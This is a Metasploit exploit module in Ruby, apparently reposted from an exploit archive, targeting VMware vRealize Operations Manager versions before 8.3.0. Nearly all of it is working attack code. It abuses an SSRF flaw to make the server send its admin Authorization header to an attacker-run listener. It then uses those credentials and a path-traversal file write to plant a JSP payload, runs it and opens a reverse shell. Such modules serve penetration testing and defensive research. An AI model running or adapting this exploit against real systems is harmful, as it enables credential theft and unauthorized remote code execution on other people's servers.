VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vRealize Operations (vROps) Manager SSRF RCE',  
'Description' => %q{  
This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth  
file write (CVE-2021-21983) in VMware vRealize Operations Manager to  
leak admin creds and write/execute a JSP payload.  
  
CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and  
CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate  
endpoint. Code execution occurs as the "admin" Unix user.  
  
The following vRealize Operations Manager versions are vulnerable:  
  
* 7.0.0  
* 7.5.0  
* 8.0.0, 8.0.1  
* 8.1.0, 8.1.1  
* 8.2.0  
* 8.3.0  
  
Version 8.3.0 is not exploitable for creds and is therefore not  
supported by this module. Tested against 8.0.1.  
},  
'Author' => [  
'Egor Dimitrenko', # Discovery  
'wvu' # Analysis and exploit  
],  
'References' => [  
['CVE', '2021-21975'], # SSRF  
['CVE', '2021-21983'], # File write  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0004.html'],  
['URL', 'https://twitter.com/ptswarm/status/1376961747232382976'],  
['URL', 'https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis']  
],  
'DisclosureDate' => '2021-03-30', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => ARCH_JAVA,  
'Privileged' => false,  
'Targets' => [  
['vRealize Operations Manager < 8.3.0', {}]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'SRVPORT' => 8443,  
'SSL' => true,  
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS, # /usr/lib/vmware-casa/casa-webapp/logs  
ARTIFACTS_ON_DISK # /usr/lib/vmware-casa/casa-webapp/webapps/casa  
]  
},  
'Stance' => Stance::Aggressive  
)  
)  
  
register_options([  
Opt::RPORT(443),  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def setup  
super  
  
@creds = nil  
  
print_status('Starting SSRF server...')  
start_service  
end  
  
def check  
leak_admin_creds ? CheckCode::Vulnerable : CheckCode::Safe  
end  
  
def exploit  
return unless (@creds ||= leak_admin_creds)  
  
write_jsp_payload  
execute_jsp_payload  
end  
  
def leak_admin_creds  
# "Comment out" trailing path using URI fragment syntax, ostensibly  
ssrf_uri = "#{srvhost_addr}:#{srvport}#{get_resource}#"  
  
print_status('Leaking admin creds via SSRF...')  
vprint_status(ssrf_uri)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/casa/nodes/thumbprints'),  
'ctype' => 'application/json',  
'data' => [ssrf_uri].to_json  
)  
  
unless res&.code == 200 && res.get_json_document.dig(0, 'address') == ssrf_uri  
print_error('Failed to send SSRF request')  
return  
end  
  
unless @creds  
print_error('Failed to leak admin creds')  
return  
end  
  
print_good('Successfully leaked admin creds')  
vprint_status("Authorization: #{@creds}")  
  
@creds  
end  
  
def on_request_uri(cli, request)  
print_status("#{cli.peerhost} connected to SSRF server!")  
vprint_line(request.to_s)  
  
@creds ||= request.headers['Authorization']  
ensure  
send_not_found(cli)  
close_client(cli)  
end  
  
def write_jsp_payload  
jsp_path = "/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}"  
  
print_status('Writing JSP payload')  
vprint_status(jsp_path)  
  
multipart_form = Rex::MIME::Message.new  
multipart_form.add_part(  
"../../../../..#{jsp_path}",  
nil, # Content-Type  
nil, # Content-Transfer-Encoding  
'form-data; name="name"'  
)  
multipart_form.add_part(  
payload.encoded,  
nil, # Content-Type  
nil, # Content-Transfer-Encoding  
%(form-data; name="file"; filename="#{jsp_filename}")  
)  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'),  
'authorization' => @creds,  
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",  
'data' => multipart_form.to_s  
)  
  
unless res&.code == 200  
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')  
end  
  
register_file_for_cleanup(jsp_path)  
  
print_good('Successfully wrote JSP payload')  
end  
  
def execute_jsp_payload  
jsp_uri = normalize_uri(target_uri.path, 'casa', jsp_filename)  
  
print_status('Executing JSP payload')  
vprint_status(full_uri(jsp_uri))  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => jsp_uri,  
'authorization' => @creds  
)  
  
unless res&.code == 200  
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')  
end  
  
print_good('Successfully executed JSP payload')  
end  
  
def jsp_filename  
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"  
end  
  
end  
`